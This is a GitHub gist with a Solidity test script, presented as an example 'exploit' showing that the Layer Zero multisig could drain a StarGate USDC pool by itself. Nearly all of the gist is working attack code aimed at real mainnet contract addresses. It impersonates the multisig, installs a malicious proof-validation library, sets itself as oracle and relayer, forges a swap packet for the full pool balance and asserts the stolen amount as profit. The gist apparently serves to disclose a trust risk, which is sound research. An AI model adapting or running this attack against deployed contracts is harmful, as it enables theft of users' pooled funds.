Last active
July 21, 2022 19:49
-
-
Save trayvox/c8aad4710ef6e3b1ad92cd1680379c49 to your computer and use it in GitHub Desktop.
Example "exploit" showing how the Layer Zero multisig can rug StarGate by itself
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: UNLICENSED | |
pragma solidity 0.8.10; | |
import {ERC20, SafeTransferLib} from "solmate/utils/SafeTransferLib.sol"; | |
import {DSTestPlus} from "solmate/test/utils/DSTestPlus.sol"; | |
struct Packet { | |
uint16 srcChainId; | |
uint16 dstChainId; | |
uint64 nonce; | |
address dstAddress; | |
bytes srcAddress; | |
bytes32 ulnAddress; | |
bytes payload; | |
} | |
interface IUltraLightNode { | |
function addInboundProofLibraryForChain(uint16 _chainId, address _library) | |
external; | |
function validateTransactionProof( | |
uint16 _srcChainId, | |
address _dstAddress, | |
uint256 _gasLimit, | |
bytes32 _lookupHash, | |
bytes calldata _transactionProof | |
) external; | |
struct BlockData { | |
uint256 confirmations; | |
bytes32 data; | |
} | |
function maxInboundProofLibrary(uint16) external view returns (uint16); | |
function hashLookup( | |
address, | |
uint16, | |
bytes32 | |
) external view returns (BlockData memory); | |
function updateHash( | |
uint16 _srcChainId, | |
bytes32 _lookupHash, | |
uint256 _confirmations, | |
bytes32 _data | |
) external; | |
function ulnLookup(uint16) external view returns (bytes32); | |
function setDefaultConfigForChainId( | |
uint16 _chainId, | |
uint16 _inboundProofLibraryVersion, | |
uint64 _inboundBlockConfirmations, | |
address _relayer, | |
uint16 _outboundProofType, | |
uint16 _outboundBlockConfirmations, | |
address _oracle | |
) external; | |
} | |
interface IEndpoint { | |
function setConfig( | |
uint16 _version, | |
uint16 _chainId, | |
uint256 _configType, | |
bytes calldata _config | |
) external; | |
function inboundNonce(uint16, bytes memory) external view returns (uint64); | |
function receivePayload( | |
uint16 _srcChainId, | |
bytes calldata _srcAddress, | |
address _dstAddress, | |
uint64 _nonce, | |
uint256 _gasLimit, | |
bytes calldata _payload | |
) external; | |
} | |
interface IRouter { | |
function swapRemote( | |
uint16 _srcChainId, | |
bytes memory _srcAddress, | |
uint256 _nonce, | |
uint256 _srcPoolId, | |
uint256 _dstPoolId, | |
uint256 _dstGasForCall, | |
address _to, | |
IPool.SwapObj memory _s, | |
bytes memory _payload | |
) external; | |
} | |
interface IBridge { | |
function bridgeLookup(uint16) external view returns (bytes memory); | |
function lzReceive( | |
uint16 _srcChainId, | |
bytes memory _srcAddress, | |
uint64 _nonce, | |
bytes memory _payload | |
) external; | |
function setConfig( | |
uint16 _version, | |
uint16 _chainId, | |
uint256 _configType, | |
bytes calldata _config | |
) external; | |
} | |
interface IPool { | |
struct SwapObj { | |
uint256 amount; | |
uint256 eqFee; | |
uint256 eqReward; | |
uint256 lpFee; | |
uint256 protocolFee; | |
uint256 lkbRemove; | |
} | |
struct CreditObj { | |
uint256 credits; | |
uint256 idealBalance; | |
} | |
function swapRemote( | |
uint16 _srcChainId, | |
uint256 _srcPoolId, | |
address _to, | |
SwapObj memory _s | |
) external returns (uint256 amountLD); | |
function token() external view returns (address); | |
function chainPathIndexLookup(uint16, uint256) | |
external | |
view | |
returns (uint256); | |
} | |
contract MaliciousValidation { | |
Packet public packet; | |
function setPacket( | |
uint16 srcChainId, | |
uint16 dstChainId, | |
uint64 nonce, | |
address dstAddress, | |
bytes memory srcAddress, | |
bytes32 ulnAddress, | |
bytes memory payload | |
) public { | |
packet = Packet( | |
srcChainId, | |
dstChainId, | |
nonce, | |
dstAddress, | |
srcAddress, | |
ulnAddress, | |
payload | |
); | |
} | |
function validateProof( | |
bytes32 blockData, | |
bytes calldata _data, | |
uint256 _remoteAddressSize | |
) external returns (Packet memory) { | |
return packet; | |
} | |
} | |
contract L0 is DSTestPlus { | |
address internal constant ENDPOINT = | |
address(0x66A71Dcef29A0fFBDBE3c6a460a3B5BC225Cd675); | |
address internal constant ROUTER = | |
address(0x8731d54E9D02c286767d56ac03e8037C07e01e98); | |
address internal constant BRIDGE = | |
address(0x296F55F8Fb28E498B858d0BcDA06D955B2Cb3f97); | |
address internal constant POOL = | |
address(0xdf0770dF86a8034b3EFEf0A1Bb3c889B8332FF56); | |
address internal constant ULTRA_LIGHT_NODE = | |
address(0x5B19bd330A84c049b62D5B0FC2bA120217a18C1C); | |
address internal constant ORACLE = | |
address(0x41c69c8ffb4049fc393ed68Ec0Ce66c37f8CF7a0); | |
address internal constant RELAYER = | |
address(0xcb566e3B6934Fa77258d68ea18E931fa75e1aaAa); | |
address internal constant VALIDATION_LIB = | |
address(0x2D61DCDD36F10b22176E0433B86F74567d529aAa); | |
address internal constant OWNER_ENDPOINT = | |
address(0x9F403140Bc0574D7d36eA472b82DAa1Bbd4eF327); | |
address internal constant OWNER_BRIDGE = | |
address(0x65bb797c2B9830d891D87288F029ed8dACc19705); | |
address internal constant MULTISIG = | |
address(0xCDa8e3ADD00c95E5035617F970096118Ca2F4C92); | |
function run() public { | |
hevm.label(ENDPOINT, "ENDPOINT"); | |
hevm.label(BRIDGE, "BRIDGE"); | |
hevm.label(ULTRA_LIGHT_NODE, "ULTRA_LIGHT_NODE"); | |
// Assume that the hot wallet is malicious | |
emit log( | |
"Draining the pool assuming hot wallet is malicious" | |
); | |
ERC20 token = ERC20(IPool(POOL).token()); | |
uint256 drainAmount = token.balanceOf(POOL); | |
uint256 dstPoolId = 1; | |
uint16 srcChainId = 10; | |
MaliciousValidation validation = new MaliciousValidation(); | |
hevm.label(address(validation), "Validation"); | |
hevm.startPrank(MULTISIG); | |
emit log("MULTISIG add malicious library"); | |
IUltraLightNode(ULTRA_LIGHT_NODE).addInboundProofLibraryForChain( | |
srcChainId, | |
address(validation) | |
); | |
emit log_named_decimal_uint("USDC in pool", token.balanceOf(POOL), 6); | |
uint256 balanceBefore = token.balanceOf(address(this)); | |
emit log("MULTISIG updates default configuration"); | |
IUltraLightNode(ULTRA_LIGHT_NODE).setDefaultConfigForChainId( | |
srcChainId, | |
IUltraLightNode(ULTRA_LIGHT_NODE).maxInboundProofLibrary( | |
srcChainId | |
), | |
1, // inboundblockConfirmations | |
MULTISIG, // Relayer | |
1, // outboundProofType | |
1, // outbountConfirmations | |
MULTISIG // Oracle | |
); | |
bytes32 hash = bytes32("Assume independence"); | |
emit log("MULTISIG update hash for (bytes32(Assume independence))"); | |
IUltraLightNode(ULTRA_LIGHT_NODE).updateHash( | |
srcChainId, | |
hash, | |
420, | |
bytes32("") | |
); | |
{ | |
bytes memory srcAddress = IBridge(BRIDGE).bridgeLookup(srcChainId); | |
IPool.SwapObj memory swapData = IPool.SwapObj({ | |
amount: drainAmount, | |
eqFee: 0, | |
eqReward: 0, | |
lpFee: 0, | |
protocolFee: 0, | |
lkbRemove: 0 | |
}); | |
bytes memory payload = abi.encode( | |
uint8(1), // type | |
uint256(0), // src pool id, | |
dstPoolId, | |
uint256(0), | |
IPool.CreditObj(0, 0), | |
swapData, | |
abi.encodePacked(address(this)), // to | |
bytes("") | |
); | |
emit log("MULTISIG update the value returned by the 'validation'"); | |
validation.setPacket( | |
srcChainId, | |
0, | |
uint64( | |
IEndpoint(ENDPOINT).inboundNonce(srcChainId, srcAddress) | |
) + 1, | |
BRIDGE, // dstAddress | |
srcAddress, | |
IUltraLightNode(ULTRA_LIGHT_NODE).ulnLookup(srcChainId), | |
payload | |
); | |
} | |
emit log("MULTISIG drains the pool on eth"); | |
IUltraLightNode(ULTRA_LIGHT_NODE).validateTransactionProof( | |
srcChainId, //_srcChainId, | |
BRIDGE, //_dstAddress, | |
2e6, // _gasLimit, | |
hash, // _lookupHash | |
bytes("") // _transactionProof | |
); | |
emit log_named_decimal_uint("USDC in pool", token.balanceOf(POOL), 6); | |
emit log_named_decimal_uint( | |
"USDC Profit", | |
token.balanceOf(address(this)) - balanceBefore, | |
6 | |
); | |
assertEq( | |
token.balanceOf(address(this)) - balanceBefore, | |
drainAmount, | |
"No Profit" | |
); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment